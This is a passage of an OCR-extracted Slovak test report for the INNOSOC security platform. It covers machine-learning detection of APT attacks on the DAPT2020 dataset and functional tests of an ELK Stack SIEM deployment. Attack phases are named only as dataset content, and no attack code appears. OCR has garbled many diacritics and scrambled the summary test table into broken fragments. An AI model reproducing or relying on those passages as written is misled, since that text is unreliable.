bolo navrhnuté tak, aby emulovalo skutoénu podnikovu siet, nie zo Zivého produkéného
systému.

e Topoldgia siete: Simulovala sa mala podnikova siet’ s viacerymi operanymi
systémami (Windows 10, Windows Server, Ubuntu) a so Standardnymi
sluzbami (Active Directory, webové servery, zdielané subory).

e Simulacia utoku: Vyskumny tim spustil skutony malvér a uto€né nastroje APT
podla zdokumentovanych taktik, technik a postupov TTP (Tactics, Techniques,
and Procedures) znamych APT skupin.
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o NesSkodna prevadzka na pozadi: Na vytvorenie realistickej zmesi dat boli pocas
niekolkych dni generované aj bezné aktivity pouzivatelov (prehliadanie webu,

e-mail, prenos suborov atd.) pomocou automatizovanych skriptov a
dobrovolnikov.

Dataset bol vytvoreny simulaciou spravania sa APT utokov v cloudovej sieti poCas
piatich dni:

o 1.den: Normalna prevadzka - ping, prehliadanie webu, operacie so subormi, ...

e 2. den: Prieskum (reconnaissance) - nmap, sqlmap, skenovanie zranitelnosti
(vulnerability scanning), ...

e 3. den: Vybudovanie zakladne (foothold) - reverzné shelly (reverse shells),
zneuzivanie SQL (SQL exploitation), obchadzanie autentifikacie (authentication
bypass)

e 4. den: Lateralny pohyb (lateral movement) - skenovanie internej siete,
zneuzivanie zranitelnosti (exploiting vulnerabilities)

o 5.den: Exfiltracia udajov (data exfiltration) - prenosy FTP, nahravanie na Google
Drive, komunikacia C&C

Korpus obsahuje 79 parametrov/priznakov (features) sietového toku vratane trvania
toku, velkosti paketov, ¢asov medzi prichodmi, priznakov TCP, dizok hlaviCiek, rychlosti
prenosu bajtov/paketov a réznych Statistickych ukazovatelov.

Dataset je ziskany z viacerych zdrojov, ¢o poskytuje holisticky pohlad, ktory je kfuCovy
pre detekciu APT. Subor dat DAPT2020 zahffia:

e Uplné zachytenie paketov (PCAP): Kompletna sietova prevadzka z
testovacieho prostredia, ktora umozfiuje hibkovu kontrolu protokolov

e Udaje o toku siete (NetFlow): Zhrnuté protokoly pripojeni, ktoré su menej
podrobné, ale efektivne pre analyzu

e systémoveé protokoly

o protokoly/logy udalosti systému Windows - protokoly zabezpecenia,
systému a aplikacii, ktoré su kfuCové na detekciu lateralneho pohybu
(lateral movement), eskalacie privilégii (privilege escalation) a
pretrvavanie (persistence)

o Sysmon protokoly/logy - podrobné udalosti vytvarania procesov,
siefového pripojenia a zmeny suborov (neocenitelné pre forenzné
sledovanie)

o artefakty hostitela (host-based artifacts)

o vypisy pamate - pre ucely analyzy Skodlivého softvéru

o obrazy diskov - pre ucely forenznej investigativy

o vypisy procesov a prehlad registrov

e protokoly/logy upozorneni a detekcii - vystupy z bezpe¢nostnych nastrojov ako
Suricata (IDS) a Elastic Security (SIEM) nasadenych poc¢as experimentu

Korpus obsahuje dve odlisné, prepojené APT kampane, ktoré boli inSpirované
skupinami z realneho sveta (napr. podobné APT29/Cozy Bear alebo APT32/OceanLotus):

1. Zameriava sa na kradeZ a unik udajov. Zahffia po€iatocny kompromitacny utok,
lateralny pohyb na databazovom serveri, umiestnenie udajov a unik
prostrednictvom skrytych kanalov.

2. Zameriava sa ha nasadenie ransomvéru. Zahifia vytvorenie zakladne
(foothold), eskalaciu privilégii (escalating privileges), deaktivaciu obrany
(disabling defenses) a nasadenie ransomvéru v sieti.
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Tieto kampane zahffiaju fazy ako prieskum (reconnaissance), poCiato¢ny pristup (napr.
spear-phishing), vykonanie (execution), pretrvavanie (persistence), lateralny pohyb (lateral
movement) a exfiltracia (exfiltration).

Dataset ma nasledujuce klu€ové vlastnosti:

e pouziva moderné TTP a vzorky malvéru z Easového ramca 2019 — 2020

e zachytava utoky, ktoré sa odohravaju v priebehu dni, nie sekund
utoky su starostlivo oznacené presnymi ¢asovymi peciatkami a namapované na
ramec MITRE ATT&CK, vdaka ¢omu su vynikajuce pre kontrolované strojové
uCenie a vyskum zalozeny na TTP

e synchrénny zber sietovych (network) a hostitelskych (host) zaznamov
umozriuje korelaciu medzi zdrojmi, ¢o je nevyhnutnost pre lov APT (APT
hunting).

Zo SirSej skupiny AI/ML algoritmov a metdd, ktoré mozno pouzit na detekciu
perzistetnych hrozieb APT, sme sa rozhodli otestovat' nasledovneé:

¢ Random Forest (nahodny strom)
e Support Vector Machine SVM (metdéda podpornych vektorov)
e Logisticka regresia

Tieto metody patria medzi najCastejSie pouzivané techniky s vefmi dobrou
uspesnostou detekcie.

1.5.1 Vyhodnocovanie testov

Vyhodnocovanie testov prebiehalo rovnako ako v pripade detekcie nevyziadanych
SPAM sprav, popisanych v kapitole 1.1 Detekcia neziaducich emailovych sprav (Spam)
s pouzitim rovnakych vyhodnocovacich metrik a kritérii.

1.5.2 Vysledky testov

Metoda Accuracy Precision Recall F1-score Processing
time (sec.)
Log.Regression | 0.9018 0.9005 0.9018 0.8970 0.17
Random Forest | 0.9842 0.9842 0.9842 0.9842 0.19
SVM 0.9269 0.9312 0.9269 0.9212 48.91

Tab. 7: Vysledky testov pre detekciu APT hrozieb

Nasledujuce obrazky zobrazuju konfuznu maticu pre jednotlivé testované metddy.
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Na nasledujucom obrazku mozno vidiet’ grafické zobrazenie korelaéného koeficientu
pre vybrané priznaky v podobe tepelnej mapy, pricom je vidiet, Ze viacero z nich je vzajomne

previazanych.
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Obr. 62: Heat-mapa korelacného koeficientu pre vybrané priznaky

Na nasledujucom obrazku je znazornenych 10 najrelevantnejSich priznakov pre
detekciu APT utokov v modeli ndhodného lesa vyhodnotenych na zaklade necistét (angl.
impurity-based).
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Obr. 63: Top 10 dblezitych priznakov v modeli Random Forest
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Nasledujuci obrazok vizualizuje UspeSnost (parameter Accuracy) jednotlivych
zvolenych klasifikaCnych metéd.

10 Model Comparison - Accuracy

0.8 1

0.6 1

Accuracy

04

0.2 1

0.0

Logistic Regression Random Forest SVM
Models

Obr. 64: Porovnanie uspesnosti jednotlivych modelov

1.5.3 Zhodnotenie testov

Na zaklade vykonanych experimentov mozno zhodnotit, Ze najvhodnejSia metdéda pre
detekciu pokrocilych APT utokov je metéda Random forest. Na datasete DAPT2020, ktory je
jednym z najkomplexnejSich a najCastejSie pouzivanych suborov dat pre detekciu APT utokov,
sme dosiahli uspesSnost detekcie 98%. Tato hodnota je takmer identicka pre metriky Precision
aj Recall, takze je velmi dobre pokrytd detekcia faloSne pozitivnych aj faloSne negativnych
detekcii. V poradi druha najuspesnejSia metdda s uspeSnostou detekcie na urovni 92% je
metdéda SVM, pricom metdda logistickej regresie dosahuje porovnatelnu uspesnost detekciu
s hodnotou ~90%. Z hladiska ¢asu potrebného na testovanie dat dosahuju metédy Random
forest a logisticka regresia velmi porovnatelné vysledky na urovni desiatok milisekund, takze
mozno nasadit obe metddy pre real-time aplikacie. SVM metdda potrebuje pri testovani
vyrazne dlhsi Cas na detekciu na urovni desiatok sekund, ¢o predstavuje viac ako 100-nasobne
dihsi Cas.

Na zaklade vykonanych experimentov mozno teda sumarizovat, ze pre detekciu
pokrocilych perzistentnych APT utokov je najvhodnejSia metéda Random Forest.
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1.6 Suhrn testovania

Identifikator Nazov testu ‘ Typ testu ‘ Overovana oblast’ Vyhodnotenie

Detekcia Klasjfikécia spgm/ham pomocou ML
TS-ML-01 neziaducich Experimentalny )r?(e;té)d (De9|3|on Tree, .S.VM,’ .
-ML- emailovych test ogst, Naive Bayes, Logisticka | Splnené
sprav (Spam) regresia) na datasetoch
P P SpamAssassin a SMS Spam
Analyza Statistickych parametrov IP
Detekcia . ' tvoI§0v 7(variabilnost’, Sikmost,
TS-ML-02 DoS/DDoS :Experlmentalny splcatost, Hurgtov exponen’t) pre. Spinené
itokov est rych!u detekvcuf DDO$ utokov;
metdda detekénych hranic (MDH) a
predikénych tunelov (MPT)
Klasifikacia sietovej prevadzky pre
Detekcia Experimentaln detekciu malvéru typu trojsky kon
TS-ML-03 gkodlivého kédu tes‘; Y | pomocou ML metéd (Random | Splnené
(Malware) Forest, AdaBoost, GaussianNB,
FNN)
Analyza logov pomocou
klastrovacich metéd (K-Means,
Detekcia Experimentalny | HDBSCAN) pre identifikaciu .
TS-ML-04 phishing test phishingovych aktivit; Spinené
pravdepodobnostné skore na
zaklade vzdialenosti od klastrov
Detekcia Klasifikacia APT utokov na datasete
pokrocilych Experimentalny DAPT2020  pomocou ML metod
TS-ML-05 istentnveh test (Random Forest, SVM, Logisticka | Splnené
Ere(g:Zb ( AF¥T) regresia); feature importance
analyza
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2 Overenie nasadenia, vizualizacie a bezpe€énostnej
konfiguracie ELK Stack

Testovanie ELK Stacku bolo koncipované ako overenie funk&nej pripravenosti celého
SIEM retazca — od prijmu a parsovania bezpecnostnych udalosti cez ich indexaciu a spravu
zivotného cyklu az po vizualizaciu a analytické vyhodnotenie v grafickom rozhrani. Na rozdiel
od testovania ostatnych komponentov PoC, kde bol kazdy komponent overovany samostatne,
ELK Stack vyzadoval integrovany pristup, pretoze jeho tri vrstvy (Logstash ako vstupna brana,
Elasticsearch ako ulozisko a analyticky engine, Kibana ako prezenta¢na vrstva) tvoria jeden
funk&ny celok, v ktorom zlyhanie ktorejkolvek vrstvy znemozriuje funkciu ostatnych. Testy boli
rozdelené do troch oblasti podla funk&nych vrstiev: (1) overenie nasadenia a prevadzkovej
dostupnosti vSetkych komponentov vratane vzajomnej komunikacie, (2) overenie
vizualizacnych a analytickych schopnosti prostrednictvom nasadenych dashboardov a modulu
Discover a (3) overenie bezpecnostnych mechanizmov (TLS, RBAC, keystore, iptables),
retencnej politiky ILM a monitorovania infradtruktary. Testovanie v ramci V16 bolo zamerané
na overenie konfiguracie a zakladnej funk&nosti — detailné overovanie detekénych pravidiel,
simulacia utokov a zatazové testovanie su predmetom samostatného vystupu.

2.1 TC-ELK-01 Overenie nasadenia a dostupnosti ELK Stacku

Typ testu: Funkcny test

Ugel testu: Overit, &i st vSetky tri komponenty ELK Stacku (Elasticsearch, Logstash, Kibana)
v prostredi PoC korektne nasadené, prevadzkovo dostupné a vzajomne komunikujuce. Test
overuje zdravie Elasticsearch clustra vratane vSetkych 7 uzlov, aktivny stav Logstash pipeline
a dostupnost webového rozhrania Kibany. Test je zamerany na overenie zakladnej
prevadzkovej pripravenosti ELK Stacku ako celku, nie na detailné overovanie detekénych
pravidiel ani pokroc€ilych analytickych scenarov.

Predmet overenia: Predmetom testu je overenie, ¢i nasadenie ELK Stacku zodpoveda stavu
popisanému v dokumentacii PoC. Pre Elasticsearch sa overovala dostupnost clustra, zdravie
(cluster health) a pritomnost vSetkych 7 uzlov s priradenymi rolami (master, hot, warm, cold).
Pre Logstash sa overoval aktivny stav sluzby, nacitanie pipeline konfiguracie (input.conf,
filters.conf, output.conf) a schopnost prijimat data na porte 5044. Pre Kibanu sa overovala
dostupnost weboveého rozhrania, uspesnost’ prihlasenia a pripojenie na Elasticsearch cluster.
Overovali sa aj zakladné komunikacné vazby medzi komponentmi — Sifrované pripojenie
Kibana — Elasticsearch a Logstash — Elasticsearch.

Vychodiskovy stav: ELK Stack bol nasadeny v LXC kontajneroch na fyzickom serveri.
Elasticsearch cluster so 7 uzlami (master1, hot1-3, warm1-2, cold1) bol nakonfigurovany s
definovanymi rolami a reten¢nou politikou. Kazdy uzol mal vlastny konfiguracny subor a TLS
certifikat. Logstash bol nasadeny v kontajneri elk-logstash (IP 192.168.1.177) s pipeline
konfigurovanou na prijem dat od filebeat a auditbeat agentov prostrednictvom modulu beats
na porte 5044 s obojstrannym TLS overovanim. Kibana bola nasadena v kontajneri s IP
192.168.2.188, nakonfigurovana na pripojenie k Elasticsearch cez HTTPS s certifikacnou
autoritou elasticsearch-ca.pem a autentifikaciou prostrednictvom uctu kibana_system. Pred
zaciatkom testu sa predpokladalo, Ze vSetky LXC kontajnery su spustené a sietovo dostupné.
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Postup testu:

1. Overil sa stav Elasticsearch clustra — pomocou Kibana Dev Tools alebo Elasticsearch
REST API sa overilo zdravie clustra (cluster health), poCet uzlov a ich priradené role.

2. Overila sa dostupnost’ vSetkych 7 uzlov Elasticsearch — master1, hot1, hot2, hot3,
warm1, warm2, cold1 — a ich registracia v klastri.

3. Overilo sa, Ze hot uzly vyuzivaju SSD ulozisko a warm/cold uzly HDD ulozisko, ¢o
zodpoveda dokumentovanej architekture.

4. Na strane Logstash sa overil aktivny stav sluzby a nacitanie pipeline konfiguracie —
pritomnost  v8etkych troch konfiguraCnych suborov (input.conf, filters.conf,
output.conf).

5. Overilo sa, Zze Logstash pocuva na porte 5044 a je pripraveny prijimat data od beat
agentov s obojstrannym TLS overovanim.

6. Overilo sa pripojenie Logstash na Elasticsearch — aktivne spojenie, autentifikacia
prostrednictvom pouzivatela logstash_internal a Sifrovana komunikacia.

7. Overila sa dostupnost webového rozhrania Kibany — otvorenim URL adresy v
prehliadadi sa overilo korektné nacitanie prihlasovacej obrazovky.

8. Vykonalo sa prihlasenie do Kibany a overilo sa, Ze rozhranie zobrazuje informécie o
pripojenom Elasticsearch klastri.

9. V module Stack Monitoring sa overilo, Ze Kibana zobrazuje stav vSetkych troch
komponentov ELK Stacku — Elasticsearch, Logstash a Kibana.

Ocakavany vysledok: Ocakavanym vysledkom je, Ze Elasticsearch cluster bude v stave
green alebo yellow so vSetkymi 7 uzlami s korektne priradenymi rolami. Logstash bude aktivny
s nacitanou pipeline a pripraveny prijimat data na porte 5044. Kibana bude dostupna cez
webové rozhranie, prihlasenie bude UspeS$né a rozhranie bude zobrazovat informacie o
pripojenom klastri. Stack Monitoring méa zobrazovat stav v8etkych troch komponentov.

Skutoény vysledok: Elasticsearch cluster bol v stave zodpovedajucom prevadzkovej
pripravenosti a obsahoval v8etkych 7 uzlov s korektne priradenymi rolami — master1 ako
hlavny uzol, hot1-3 s datami na SSD, warm1-2 s datami na HDD a cold1 ako archivny uzol.
Logstash sluzba bola aktivna, pipeline konfiguracia bola nacitana a sluzba poc¢uvala na porte
5044 s obojstrannym TLS overovanim. Pripojenie Logstash na Elasticsearch bolo aktivne
prostrednictvom pouzivatela logstash_internal so Sifrovanou komunikaciou. Kibana bola
dostupna cez webové rozhranie, prihlasenie bolo Uspesné a rozhranie zobrazovalo informacie
o pripojenom Elasticsearch klastri. V module Stack Monitoring boli zobrazené stavy vSetkych
troch komponentov ELK Stacku — Elasticsearch, Logstash a Kibana. Pocas testu neboli
pozorovane kritické chyby.

Vyhodnotenie testu: Splnené.

Na zaklade vykonaného overenia mozno konstatovat, ze ELK Stack je v prostredi PoC
korektne nasadeny a vsetky tri komponenty (Elasticsearch, Logstash, Kibana) su prevadzkovo
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dostupné a vzajomne komunikujuce. Elasticsearch cluster obsahuje vSetkych 7 uzlov s
definovanymi rolami, Logstash prijima data a Kibana poskytuje funkéné webové rozhranie.

Zistenia a poznamky: Test TS-ELK-01 overoval zakladnu prevadzkovu pripravenost ELK
Stacku ako celku, nie detailné funkcionality jednotlivych komponentov. Nasadenie v LXC
kontajneroch na jednom fyzickom serveri umozfiuje jednoduchu spravu a monitorovanie,
avSak v produkénom prostredi by bolo vhodné zvazit distribuciu komponentov na viacero
fyzickych serverov. Elasticsearch cluster so 7 uzlami s diferenciaciou hot/warm/cold
zabezpecluje efektivne vyuzitie ulozného priestoru a optimalizaciu vykonu podfa veku dat.
Obojstranné TLS overovanie medzi Logstash a beat agentami zabezpecuje, Ze data su
prijimané len od autorizovanych zdrojov. Stack Monitoring poskytuje centralizovany prehlad o
stave vSetkych komponentov, €o je klu€ové pre prevadzkovu spolahlivost SIEM rieSenia. Test
vytvoril predpoklad pre dalSie testy zamerané na vizualizaciu dat a bezpe€nostnu konfiguraciu.

Zaver: Test preukazal, Zze ELK Stack je v prostredi PoC nasadeny, vSetky tri komponenty su
prevadzkovo dostupné a vzajomne komunikujuce. Tym bola potvrdena zakladna prevadzkova
pripravenost SIEM rieSenia pre vizualizaciu a analyzu bezpecnostnych dat v ramci SOCaaS
platformy INNOSOC.

2.2 TS-ELK-02 Overenie vizualizacie bezpe€nostnych dat a
analytickych dashboardov

Typ testu: Funkcny test

Ugel testu: Overit, &i Kibana v ramci ELK Stacku poskytuje funk&né vizualizaéné a analytické
nastroje pre zobrazovanie bezpeénostnych dat. Test overuje funkénost modulu Discover pre
prezeranie logov, dostupnost a funkénost vytvorenych analytickych dashboardov, logické
oddelenie pristupov pomocou Spaces a schopnost systému zobrazovat data vo forme grafov,
metrik, tabuliek a geografickych map. Test je zamerany na overenie konfiguracie a zakladnej
funk&nosti vizualiza€nej vrstvy, nie na detailné overovanie detekénych pravidiel ani simulaciu
utokov.

Predmet overenia: Predmetom testu je overenie vizualizacnych schopnosti Kibany v rozsahu
popisanom v dokumentacii PoC. Overovalo sa, €i su v systéme nakonfigurované Spaces pre
logické oddelenie pravidiel a pristupov a & su v naviganom menu dostupné hlavné
funkcionality — Discover, Dashboards (Analytics a Security), Rules, Alerts, Dev Tools, Stack
Monitoring a Stack Management. Overovali sa vytvorené dashboardy — IDS DMZ (vizualizcia
bezpeénostnych udalosti zo Suricata a FortiGate vratane poctu alertov, rozdelenia podfa
zavaznosti, Casového priebehu detekcii, najastejSich signatur, zdrojovych IP adries a
geografickej mapy), Login Activity Monitoring (sledovanie prihlasovacich udalosti) a Zatazenie
Stacku (monitorovanie vyuzitia operacnej pamate komponentov ELK stacku). Overovala sa aj
funk&nost modulu Discover — prezeranie logov, aplikacia filtrov a vyhladavanie.

Vychodiskovy stav: ELK Stack bol nasadeny a vSetky komponenty boli v prevadzke (overené
testom TC-ELK-01). Elasticsearch cluster indexoval bezpecnostné data z monitorovanych
zariadeni. Logstash prijimal a spracovaval data z auditbeat a filebeat agentov nasadenych na
monitorovanych serveroch. V Kibane boli nakonfigurované Spaces pre logické oddelenie
pristupov a pravidiel. Dashboardy boli vytvorené a nakonfigurované na vizualizaciu dat z IDS
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senzorov (Suricata, FortiGate) a dalSich zdrojov. Prihlasenie bolo funkéné a pouzivatelské
ucty s prislusnymi rolami boli dostupné.

Postup testu:

1. Po prihlaseni do Kibany sa overila dostupnost nakonfigurovanych Spaces a navigacia
medzi nimi.

2. Overila sa dostupnost hlavnych funkcionalit v navigathom menu — Discover,
Dashboards (Analytics a Security), Rules, Alerts, Dev Tools, Stack Monitoring a Stack
Management.

3. Otvoril sa dashboard IDS DMZ a overila sa vizualizacia bezpe¢nostnych udalosti — v
lavej Casti data zo Suricata (celkovy pocet alertov, rozdelenie podla zavaznosti, Casovy
priebeh detekcii), v pravej Casti obdobné metriky pre FortiGate.

4. Na dashboarde IDS DMZ sa overil prehlad najCastejSie detegovanych signatur (Top
Signatures) — zoznam signatur zo Suricata a FortiGate vratane poctu zachytenych
alertov.

5. Na dashboarde IDS DMZ sa overila vizualizacia zdrojovych IP adries (Top Source IPs)
— farebne odlisené IP adresy v ¢asovej osi umoznujuce sledovanie spravania zdrojov
v Case.

6. Na dashboarde IDS DMZ sa overila geograficka mapa vizualizujuca bezpecnostné
udalosti na zaklade geografického pdévodu IP adries s farebnym odliSenim podla
zavaznosti.

7. Otvoril sa dashboard Login Activity Monitoring a overilo sa sledovanie prihlasovacich
udalosti — zobrazenie uspesnych a neuspesnych prihlaseni.

8. Otvoril sa dashboard ZataZenie Stacku a overilo sa monitorovanie vyuZitia operacnej
pamate komponentov ELK stacku (Elasticsearch uzly, Logstash, Kibana).

9. V module Discover sa overila funkénost prezerania logov — zobrazenie zaznamov,
aplikacia filtrov podla poli a vyhladavanie v bezpe€nostnych datach.

Ocakavany vysledok: Ocakavanym vysledkom je, Ze Spaces budu nakonfigurované a
navigacia medzi nimi bude funk&na. Hlavné funkcionality budu dostupné v naviganom menu.
Dashboard IDS DMZ ma zobrazovat alerty zo Suricata a FortiGate vratane rozdelenia podfla
zavaznosti, najCastejSich signatur, zdrojovych IP adries a geografickej mapy. Dashboard Login
Activity Monitoring méa zobrazovat prihlasovacie udalosti a dashboard Zatazenie Stacku ma
vizualizovat' vyuZitie pamate ELK komponentov. Modul Discover ma umoznovat prezeranie,
filtrovanie a vyhladavanie v logoch.

Skutoény vysledok: Po prihlaseni boli dostupné nakonfigurované Spaces s logickym
oddelenim pravidiel a pristupov. V naviganom menu boli dostupné vSetky hlavné funkcionality
— Discover, Dashboards (Analytics a Security), Rules, Alerts, Dev Tools, Stack Monitoring a
Stack Management. Dashboard IDS DMZ zobrazoval bezpe€nostné udalosti detegované IDS
systémami Suricata a FortiGate — celkovy pocet alertov, rozdelenie podla zavaznosti a Casovy
priebeh detekcii za sledované obdobie. Prehlad najCastejSich signatur bol dostupny a
zobrazoval zoznam signatur vratane pocCtu zachytenych alertov. Vizualizacia zdrojovych IP
adries zobrazovala farebne odliSené IP adresy v Casovej osi. Geograficka mapa zobrazovala
bezpecnostné udalosti na zaklade pévodu IP adries s farebnym odliSenim podla zavaznosti a
legendou pre filtrovanie podla zdroja dat. Dashboard Login Activity Monitoring bol funkény a
zobrazoval prihlasovacie udalosti. Dashboard Zatazenie Stacku prezentoval udaje o vyuziti
operacnej pamate komponentov ELK stacku. Modul Discover umoznoval prezeranie logov,
aplikaciu filtrov a vyhladavanie. Poc€as testu neboli pozorované kritické chyby.
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Vyhodnotenie testu: Splnené.

Na zaklade vykonaného overenia mozno konstatovat, Zze Kibana v ramci ELK Stacku poskytuje
funkCéné vizualizatné a analytické nastroje. Nasadené dashboardy su funkéné a umoznuju
vizualizaciu bezpec¢nostnych dat z viacerych zdrojov prostrednictvom grafov, metrik, tabuliek
a geografickych map.

Zistenia a poznamky: Test TS-ELK-02 overoval vizualizaénu funkcionalitu v rozsahu
nasadenia PoC. Dashboardy IDS DMZ predstavuju vizualizanu a analyticku vrstvu, ktora
agreguje vystupy z detekénych nastrojov a umoziuje ich prehladné vyhodnocovanie. Kibana
v ramci PoC neplnila Ulohu detekcie, ale poskytovala analytické a vizualizatné nastroje
potrebné pre efektivnu interpretaciu dat. Logické oddelenie pomocou Spaces umozriuje
separaciu pristupov a pravidiel podfa kontextu, ¢o je dbleZité pre oddelenie testovacich a
prevadzkovych dat. Modul Discover poskytuje flexibilny nastroj na ad-hoc analyzu
bezpe&nostnych udalosti, 6o dopifia predpripravené dashboardy. Detailné overovanie
detekénych a korelacnych pravidiel vratane simulacie utokov a automatického testovania je
predmetom testovania v neskorSich etapach.

Zaver: Test preukazal, ze Kibana v ramci ELK Stacku poskytuje funk&né vizualizaéné a
analytické nastroje. Nasadené dashboardy umoziuju identifikovat anomalie, sledovat
spravanie zdrojov a vyhodnocovat bezpecnostny stav infrastruktury, ¢im bola potvrdena rola
ELK Stacku ako vizualizanej a analytickej vrstvy SIEM rieSenia v ramci SOCaaS platformy
INNOSOC.

2.3 TC-ELK-03 Overenie bezpec¢nostnej konfiguracie, retenc¢nej
politiky a monitorovania infrastruktary ELK Stacku

Typ testu: Funkcny test

Ugel testu: Overit, &i je bezpe&nostna konfiguracia ELK Stacku korektne implementovana —
Sifrovana komunikacia (TLS) medzi komponentmi, autentifikacia bez ulozenia hesiel v
plaintexte (keystore), riadenie pristupu na zaklade roli (RBAC) a sietova ochrana (iptables).
Zaroven overit, Ze reten¢na politika (ILM) zabezpecuje definovany presun dat medzi hot, warm
a cold uzlami a Zze monitorovanie infrastruktury prostrednictvom Stack Monitoring a externych
nastrojov je funkéné. Test je zamerany na overenie konfiguracie a zakladnej funkénosti
bezpecnostnych a prevadzkovych mechanizmov, nie na zatazové testovanie ani penetracné
testovanie.

Predmet overenia: Predmetom testu je overenie bezpecnostnej a prevadzkovej konfiguracie
ELK Stacku v rozsahu popisanom v dokumentacii PoC. Pre bezpefnostnu konfiguraciu sa
overovalo Sifrovanie komunikacie medzi komponentmi pomocou TLS certifikatov vystavenych
vlastnou certifikacnou autoritou, autentifikacia prostrednictvom keystore (bez plaintextovych
hesiel v konfiguraénych suboroch), riadenie pristupu na zaklade roli (RBAC) s definovanymi
rolami a opravneniami a sietova ochrana pomocou firewall pravidiel (iptables). Pre reten¢nu
politiku sa overovalo nastavenie Index Lifecycle Management (ILM) — presun dat z hot uzlov
(SSD, <5 dni) na warm (HDD, <14 dni), nasledne na cold (<21 dni) a mazanie. Pre
monitorovanie sa overovala funkénost Stack Monitoring v Kibane a konfiguracia externého
monitorovania (Metricbeat, Zabbix, LibreNMS).
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Vychodiskovy stav: ELK Stack bol nasadeny a vSetky komponenty boli v prevadzke (overené
testom TS-ELK-01). Elasticsearch cluster so 7 uzlami mal definované TLS certifikaty

vystavené vlastnou certifikacnou autoritou pomocou elasticsearch-certutil. Komunikacia medzi
uzlami, medzi Logstash a Elasticsearch a medzi Kibana a Elasticsearch bola Sifrovana. Pre

opravneni s opravneniami monitor, manage_index_template, manage_ilm, manage_pipeline
a definovanymi index patterns (gvm-greenbone®, elasticsearch-elk-elasticsearch*, syslog-
fortigate*, waf-filebeat*, auditbeat*, suricata*, threatintel-filebeat*). Pre Kibanu bol pouzity ucet
kibana_system s heslom uloZzenym v keystore. Reten¢na politika bola nakonfigurovana s
diferenciaciou hot/warm/cold uzlov. Firewall pravidla (iptables) boli nakonfigurované na
kontajneroch Elasticsearch, Logstash a Kibany. Monitorovanie bolo zabezpeené pomocou
Metricbeat, Zabbix a LibreNMS.

Postup testu:

1. Overila sa bezpe&nostna konfiguracia Elasticsearch — v konfiguracnych suboroch uzlov
sa overilo nastavenie xpack.security.enabled, xpack.security.transport.ssl (Sifrovanie
medzi uzlami) a xpack.security.http.ssl (Sifrovanie HTTP komunikacie) s cestami k

certifikatom.

2. Overilo sa, ze Elasticsearch vyuziva audit logging — nastavenie
xpack.security.audit.enabled a definované typy auditovanych udalosti (access_denied,
authentication_failed, connection_denied, tampered_request,

security_config_change).

3. Overila sa bezpecnostna konfiguracia Logstash — v input.conf sa overilo nastavenie
obojstranného  TLS  overovania  (ssl_enabled, ssl_certificate, ssl_key,
ssl_certificate_authorities, ssl_client_authentication => required).

4. Overilo sa, ze Logstash autentifikacia voci Elasticsearch prebieha prostrednictvom
pouzivatela logstash_internal s heslom ulozenym v keystore (${ES_psswd}), nie v
plaintexte.

5. Overila sa bezpec€nostna konfiguracia Kibany — v kibana.yml sa overilo pripojenie na
Elasticsearch cez HTTPS, definicia certifikatnej autority (elasticsearch-ca.pem) a
autentifikacia prostrednictvom uctu kibana_system.

6. V module Stack Management sa overila sprava pouzivatelov a roli — pritomnost RBAC
konfiguracie, existencia roly logstash_writer s definovanymi opravneniami a priradenie
roli pouzivatelom.

7. Overila sa reten¢na politika (ILM) — nastavenie Index Lifecycle Management s
definovanym presunom dat medzi hot, warm a cold uzlami podla ¢asovych intervalov
(hot <5 dni, warm <14 dni, cold <21 dni, mazanie).

8. V module Stack Monitoring sa overilo monitorovanie vyuzitia operacnej pamate
komponentov ELK stacku — porovnanie realneho vyuzZitia s pridelenymi limitmi pre
Elasticsearch uzly, Logstash a Kibanu.

9. V Dev Tools konzole sa overila mozZznost vykonavania diagnostickych dotazov na
Elasticsearch — overenie stavu clustra, zobrazenie uzlov a ich roli.

Ocakavany vysledok: Ocakavanym vysledkom je, Ze bezpecnostna konfiguracia bude
korektne implementovana — komunikacia medzi komponentmi bude Sifrovana (TLS), hesla
nebudu uloZzené v plaintexte (keystore), pristup bude riadeny na zaklade roli (RBAC) a sietova
ochrana bude zabezpelena firewall pravidlami. Retenéna politka ma zabezpecovat
definovany presun dat medzi hot, warm a cold uzlami. Stack Monitoring ma zobrazovat metriky
vyuzitia zdrojov komponentov. Dev Tools konzola ma umoznovat diagnostické dotazy.
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Skutoény vysledok: BezpecCnostna konfiguracia Elasticsearch potvrdila Sifrovanie
komunikacie — xpack.security bol aktivny, transport SSL aj HTTP SSL boli povolené s cestami
k certifikdatom pre kazdy uzol. Audit logging bol aktivny s definovanymi typmi auditovanych
udalosti vratane access_denied, authentication_failed a security_config_change. Logstash
input.conf obsahoval obojstranné TLS overovanie — SSL bolo povolené, certifikaty a kfu¢ boli
definované a klientska autentifikacia bola nastavena ako povinna (required). Autentifikacia
Logstash voci Elasticsearch prebiehala prostrednictvom pouZivatela logstash_internal s
heslom uloZzenym v keystore. Kibana bola pripojena na Elasticsearch cez HTTPS s
definovanou certifikanou autoritou a uc¢tom kibana_system. Sprava pouzivatelov a roli
potvrdila RBAC konfiguraciu — rola logstash_writer bola definovana s opravneniami monitor,
manage_index_template, manage_ilm a manage_pipeline pre definované index patterns.
Retencna politika (ILM) bola nakonfigurovana — data sa presuvali z hot uzlov (SSD, <5 dni) na
warm (HDD, <14 dni), nasledne na cold (<21 dni) a po 21 diioch boli mazané. Stack Monitoring
zobrazoval metriky vyuzitia operacnej paméate komponentov — Ziadny komponent nepracoval
na hranici kapacity. Dev Tools konzola umoZiovala vykonavanie diagnostickych dotazov na
Elasticsearch. Pocas testu neboli pozorované kritické chyby.

Vyhodnotenie testu: Splnené.

Na zaklade vykonaného overenia mozno kon$tatovat, Ze bezpe€nostna konfiguracia
ELK Stacku je korektne implementovana, retenéna politika zabezpecuje definovany Zivotny
cyklus dat a monitorovanie infrastruktury je funkéné.

Zistenia a poznamky: Test TS-ELK-03 overoval bezpe€nostnu a prevadzkovu konfiguraciu v
rozsahu PoC. Bezpecnostna konfiguracia (TLS, keystore, RBAC, iptables, audit logging)
zodpoveda principom defence-in-depth a zabezpecluje Sifrovanu komunikaciu, riadenie
implementovany pri ucte logstash_internal s definovanou rolou a obmedzenymi opravneniami
na konkrétne indexoveé vzory. Obojstranné TLS overovanie medzi Logstash a beat agentami
zabezpecCuje, Ze data su prijimané len od autorizovanych zdrojov, €o je kfu€oveé pre integritu
SIEM rieSenia. Retenc¢na politika s diferenciaciou hot/warm/cold zabezpecuje efektivne
vyuzitie ulozného priestoru — najnovsie data na rychlych SSD diskoch, starSie data na HDD.
Monitoring pomocou viacerych nastrojov (Stack Monitoring, Metricbeat, Zabbix, LibreNMS)
zvySuje spolahlivost dohfadu nad infratruktirou. Zatazové testovanie a penetracné
